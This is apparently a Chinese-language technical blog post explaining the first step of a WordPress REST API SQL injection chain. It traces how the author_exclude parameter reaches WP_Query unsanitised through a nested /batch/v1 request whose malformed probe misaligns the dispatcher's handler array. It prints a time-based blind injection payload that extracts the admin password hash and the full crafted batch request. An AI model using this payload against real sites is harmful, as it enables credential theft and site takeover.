**前言:**我觉得这个漏洞可以分成8个环节,先找到核心的注入点---把需要的数据注入----把注入的东西写到缓存里-------把缓存里的存到数据库里面------再从数据库提取数据时形成2个环路-------在第一个环路中实现提权--------在第二个环路中实现创建管理员用户--------用管理员用户造成破坏
我这次先讲第一个板块这个注入点是怎么找到并利用的,只是先讲第一步原理,实际漏洞利用与这次稍微有一点点区别,不过大体和思想是完全一致的。
这里我们使用SELECT IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'),1,1))>30, SLEEP(0.5), 0)这个布尔盲注来验证这个注入点。为什么用布尔盲注?因为wordpress太有实力了,没有回显点。
一、首先我们可以看到一张参数映射表,
WP_REST_Posts_Controller里有一张参数映射表(调试文档原文):$parameter_mappings = array(
'author' => 'author__in','author_exclude' => 'author__not_in', // ← 就它
'exclude' => 'post__not_in',
'include' => 'post__in',
'parent' => 'post_parent__in',
'parent_exclude' => 'post_parent__not_in',
'search' => 's',
...
);
然后get_items() 里只有一行赋值:$args['author__not_in'] = $request['author_exclude'];------也就是说,这个author_exclude我们传什么,author__not_in就是什么。
不对啊,我sql注入为什么要看这个参数呢?因为我们需要把注入的语句赋值给这个参数(author__not_in)让它来执行,我们先看执行流程。
① REST 层:WP_REST_Posts_Controller::get_items()
// 参数映射表(调试文档原文):
'author_exclude' => 'author__not_in',// get_items() 里只有这一行转发,不做任何加工:
$args['author__not_in'] = $request['author_exclude'];
// ↑ HTTP 传入的注入串原样进了这个键
② WP_Query 里:注入串挂在了 query var 上
posts_query = new WP_Query( query_args ); // get_items 里创建查询
query_result = posts_query->query( $query_args ); // → get_posts()
// get_posts() 开头:
q = \&this->query_vars; // ★ $q'author__not_in' 就是你的注入串 ★
③ 执行拼装:真正"用到" author__not_in 的地方(class-wp-query.php:2403-2409)
2403 if ( ! empty( $query_vars'author__not_in' ) ) { // ← 判断键是否存在
2404 if ( is_array( $query_vars'author__not_in' ) ) { // 字符串 → false → 消毒跳过
2405 $query_vars'author__not_in' = array_unique( array_map( 'absint', ... ) );
2406 sort( $query_vars'author__not_in' );
2408 author__not_in = implode( ',', (array) query_vars'author__not_in' ); // 取出值
2409 where .= " AND {wpdb->posts}.post_author NOT IN ($author__not_in) "; **
↑**拼进 SQL2410 }
SELECT SQL_CALC_FOUND_ROWS wp_posts.ID ← get_posts() 模板开头FROM wp_posts ← FROM {$wpdb->posts}
WHERE 1=1 ← 模板固定(为了让 $where 片段都能用 AND 开头)
AND wp_posts.post_type = 'post' ← $where 片段①(post_type 这个 query var 拼的)
AND (wp_posts.post_status = 'publish') ← $where 片段②(post_status 拼的)
AND wp_posts.post_author NOT IN ( author__not_in ) //就上面2409那个你注入的句子 where 片段3 、这时,这个拼装完成的where才成了你下面看到的那个$where
ORDER BY wp_posts.post_date DESC LIMIT 0, 10 ← orderby + limits(另两个变量)
④ 组装整条 SQL(class-wp-query.php,$this->request)
this-\>request = "SELECT found_rows distinct fields FROM {wpdb-\>posts} join
WHERE 1=1 where groupby orderby limits";
$where 里此刻已经有你的片段。WHERE 1=1、post_type='post'、post_status='publish'、ORDER BY、LIMIT 都是别的 query var 拼出来的,跟 author__not_in 无关。
⑤ 执行:$this->request 被交给 wpdb 发往 MySQL
我们看一下这个最后给数据库是怎么执行的:
先建立一个总模型------PHP 和 MySQL 是两个程序,中间隔着一根"电话线"
┌──────────────┐ ┌──────────────┐
│ PHP 程序 │ (网络连接/电话线) │ MySQL 程序 │
│ (WordPress) │ ◄────────────► │ (数据库服务器) │
└──────────────┘ TCP 连接 └──────────────┘
PHP(WordPress) 和 MySQL 是两个独立的程序,各自有各自的内存、各自的进程。
PHP 永远不会自己执行 SQL 。它只做一件事:把一段 SQL 文本"寄"给 MySQL,然后等结果。
// ① get_posts() 里根据有没有 LIMIT 二选一(class-wp-query.php:3428/3438)
// 盲注路径:默认有 (LIMIT*分页) → 分步查询 → 第一步先取 ID
this-\>posts = wpdb->get_col( $this->request );
// RCE 路径:per_page=-1 → 无 LIMIT → 不分步 → 直接拿完整行
this-\>posts = wpdb->get_results( $this->request );//这里分页有什么用后面文章再讲
// ↑ 两个函数内部都会调用 query(),SQL 都真的执行
//这里灰色的可以不看防止你把自己看晕
// ② 统一入口:wpdb::query()(wp-db.php)------把 SQL 字符串真正发给数据库
public function query( $query ) {
...
this-\>last_query = query; // 记录"最近一次查询"(调试就看它)
$this->last_error = ''; // 清空上次错误
...
this-\>result = @mysqli_query( this->dbh, $query );
// ↑电话线号 ↑要寄的 SQL 字符串
// └────────────────────────────────────────┐
// ★★★ 阻塞调用,全篇最关键的 3 行 ★★★ │
// │
// 执行到这一行时: │
// ① 把 query 按 MySQL 协议打包,沿 this->dbh 这根线寄出 │
// ② PHP 线程【暂停】------这一行【不返回】,下面代码不执行 │
// ③ MySQL 收到 → 解析 → 执行(SLEEP(0.5) 在这里计时) │
// ④ MySQL 把结果寄回 → mysqli_query 才返回 │
// │
// → 你测到的"慢了 2 秒"就在这一行: │
// 时间是 PHP 在这行等掉的,活是 MySQL 干的 │
// (银行比喻:你在窗口前等了 2 分钟,办事的是银行内部) │
// │
// (旧版 PHP 走 else 分支 mysql_query,现代 PHP 都走 mysqli) │
// └────────────────────────────────------───────────────┘
...
}
二
好了,到这里这个author__not_in 是怎么传进数据库并执行的说完了,接下来要说我们该怎么给author__not_in 传值了**。前文说了'author_exclude' => 'author__not_in',** 那肯定是要从author_exclude 参数上下手了。
因为wordpress已经出来了10年了,他的防御肯定也是很严密的,如果你直接传www.wordpress.com/wp/v2/posts?author_exclude = SELECT IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'),1,1))>30,SLEEP(0.5),0)这种,肯定是传不进去的(包死的兄弟)。这是因为wordpress的posts 接口有2层检验清洗,一层看你是不是数组,如果不是就强制转换成数组。二层看数组里面是不是数字,不是数字就报错。
第一道门卫:schema 校验
author_exclude 挂在 posts 接口 上,而 posts 接口的参数表里有 author_exclude,并且规定它必须是"整数数组"。门卫(schema 校验)一看你传的是 SQL 串,直接拆开逐字符检查 → 发现不是整数 → HTTP 400 拒绝 。
所以我们需要精心构造一下payload。
{
"requests": [
{"method": "POST", "path": "http://:"},
{"method": "POST", "path": "/wp/v2/posts", "body": {
"requests": [
{"method": "GET", "path": "http://:"},
{"method": "GET", "path": "/wp/v2/categories? author_exclude=SELECT+IF%28ASCII%28SUBSTRING%28%28SELECT+user_pass
+FROM+wp_users+WHERE+user_login%3D%27admin%27%29%2C1%2C1%29%
29%3E30%2CSLEEP%280.5%29%2C0%29"},
{"method": "GET", "path": "/wp/v2/posts"}
]
}},
{"method": "POST", "path": "/batch/v1"}
]
}
为什么这么构造?起因是作者发现派送器两段 foreach**数组没对齐。**这时什么意思?我们知道wordpress有一种批量请求的batch功能(不知道自己去查)。
嵌套 batch + 探针错位(本漏洞的核心戏法)
第一步:把 GET 藏进 body(绕过"批量接口只收 POST"的限制)
批量接口 /batch/v1 的每个子请求,method 只允许 POST/PUT/PATCH/DELETE(枚举里没有 GET)。而注入必须用 GET(参数在 URL 里)。怎么办?
看接口的 schema:子请求的 body 字段是"透明"的------properties 为空数组、additionalProperties=true,意思是 body 里装什么都行,门卫根本不往里面看。
于是攻击者构造两层嵌套 的批量请求:外层是一个正常的 POST 子请求,它的 body 里藏了内层的 requests 数组 (里面全是 GET)。外部门卫检查时只看到"一个 POST",body 内容不检查 → 放行;内层 requests 被取出后,由派送器直接按数组里的 method 字符串构造请求,没有枚举校验 → GET 畅通。
这里可能有疑问,为什么在payload的2层构造里要使用/wp/v2/categories这个函数呢,这里要细说这个过滤的原理了,比如我们传了author_exclude,那么系统就会在categories这个函数里面找有没有定义过这个参数,如果没有,就会直接跳过,返回ture。这样我吗就跳过了第一层清洗,然后因为错位author_exclude会被传给posts执行,这里面有第二层清洗函数,但清洗函数发现你不是数组(第一层被跳过了),于是就放行了。
也就是说其实我们也可以不用/wp/v2/categories,只要找一个没有定义过author_exclude的函数就行。
第二步:探针制造"数组错位"
派送器 serve_batch_request_v1() 用两段 foreach 处理子请求:
-
阶段一(校验) :逐个匹配路由、做参数校验,结果存进
matches[]和validation[]。 -
阶段二(执行) :再遍历一遍,按下标
$matches[$i]取出"配给第 i 个请求的处理器"来执行。
漏洞就在这里:阶段一遇到解析失败的请求 (比如路径是 http://: 这种故意构造的坏路径,wp_parse_url 解析失败返回错误),会只把它记进 validation[] 然后 continue,不往 matches[] 里追加 。于是 matches[] 比 requests[] 少了一格 ,后面所有请求的匹配结果整体左移。
内层 requests:
0 GET http://: → 解析失败 → 只进 validation,matches 缺第 0 格
1\] GET /wp/v2/categories?author_exclude=注入 → 匹配结果存进 matches\[0
2\] GET /wp/v2/posts → 匹配结果存进 matches\[1
阶段二执行时:
i=0 → matches0 = categories 的处理器(请求是探针,无害)
i=1 → matches1 = posts 的处理器 ★ 注入请求偷到了 posts 的 handler ★
i=2 → matches2 = 不存在 → 报错(无所谓,注入已经在 $i=1 送出去了)
所以这两个数组其实长这样:
request ?报错,GET /wp/v2/categories?author_exclude ,GET /wp/v2/posts
matches categories 的处理器, posts 的处理器 , (啥也没有,连null也没有)
第二道门卫:absint 消毒(为什么也失效)
就算进了查询层,WP_Query 还有最后一道整数消毒:array_map('absint', ...) 把数组元素强转成整数。但它有一个前提------只处理数组:
if ( is_array( $query_vars'author__not_in' ) ) { // ★ 只有数组才消毒
$query_vars'author__not_in' = array_map( 'absint', ... );
}
正常路径下 author_exclude 会被校验成整数数组 → is_array() 为真 → 消毒生效。 错位路径下 author_exclude 是原始字符串 → is_array() 为假 → 消毒整段跳过 → 注入串原样拼进 NOT IN (...) 执行。
于是,我们的注入语句就在author_exclude被完整保留了下来传给了author__not_in。然后被数据库执行